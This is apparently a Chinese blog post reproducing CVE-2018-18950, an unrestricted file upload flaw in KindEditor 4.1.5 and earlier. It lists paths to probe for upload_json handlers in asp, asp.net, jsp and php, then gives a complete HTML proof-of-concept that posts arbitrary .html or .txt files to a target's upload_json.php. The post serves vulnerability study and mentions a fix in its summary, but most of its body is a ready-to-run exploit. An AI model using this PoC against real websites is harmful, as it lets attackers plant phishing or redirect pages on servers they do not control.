KindEditor文件上传漏洞(CVE-2018-18950)

最新推荐文章于 2025-03-14 16:19:13 发布

慕筱蚺

最新推荐文章于 2025-03-14 16:19:13 发布

阅读量3.9k

点赞数 10

文章标签：安全

本文链接：https://blog.csdn.net/m0_65150886/article/details/135368686

版权

本文描述了KindEditor4.1.5编辑器中的文件上传漏洞，攻击者可以通过恶意HTML文件上传.txt和.html文件，进行钓鱼攻击。复现步骤包括查看版本、构造POC和使用CURL。修复建议是删除upload_json.和file_manager_json.文件。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

漏洞描述：

漏洞存在于小于等于kindeditor4.1.5 编辑器里，你能上传.txt和 .html文件，支持php/asp/jsp/asp.net。 /php/upload_json.php文件不会清理用户输入或者检查用户是否将任意文件上传到系统。通过构造一个恶意的 html文件来实现跳转，钓鱼等，恶意攻击者可实现。

复现过程：

1.访问ip；port

2.查看版本信息

/kindeditor.js

小于kindeditor4.1.5 ，证明存在文件上传漏洞

3.访问文件上传页面

4.进行尝试如下路径是否存在有必要验证文件 upload_json.*，常见判断路径如下：

/asp/upload_json.asp?dir=file

/asp.net/upload_json.ashx?dir=file

/jsp/upload_json.jsp?dir=file

/php/upload_json.php?dir=file

证明系统的语言为php

5.构造POC或者CURL提交文件。这次采用构造 POC,url替换为攻击url。

<html><head>

    <title>Uploader</title>

    <script src="http://ip:port/kindeditor.js"></script>

    <script>        KindEditor.ready(function (K) {            var uploadbutton = K.uploadbutton({                button: K('#uploadButton')[0],                fieldName: 'imgFile',                url: 'http://ip：port/php/upload_json.php?dir=file',                afterUpload: function (data) {                    if (data.error === 0) {                        var url = K.formatUrl(data.url, 'absolute');                        K('#url').val(url);                    }                },            });            uploadbutton.fileBox.change(function (e) {                uploadbutton.submit();            });        });    </script></head><body>

<div class="upload">

    <input class="ke-input-text" type="text" id="url" value="" readonly=“readonly”/>

    <input type="button" id="uploadButton" value="Upload"/>

</div>

</body>

</html>